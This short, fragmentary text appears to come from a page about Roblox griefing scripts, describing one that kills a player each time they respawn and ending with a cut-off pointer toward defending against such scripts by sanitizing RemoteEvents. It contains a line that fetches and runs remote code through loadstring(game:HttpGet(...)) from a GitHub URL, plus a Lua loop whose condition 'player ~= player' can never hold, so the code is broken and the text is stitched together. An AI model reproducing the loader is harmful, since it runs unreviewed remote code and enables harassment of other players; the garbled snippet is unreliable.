Automatically kills a player every time they respawn.
button.MouseClick:Connect(function() local targetPlayer = nil for _, player in pairs(Players:GetPlayers()) do if player ~= player then targetPlayer = player break end end
local fe = loadstring(game:HttpGet("https://raw.githubusercontent.com/DarkMatterExt/SimpleFE/main/source"))()
To prevent players from using unauthorized scripts to interfere with others, consider these security practices: Sanitize RemoteEvents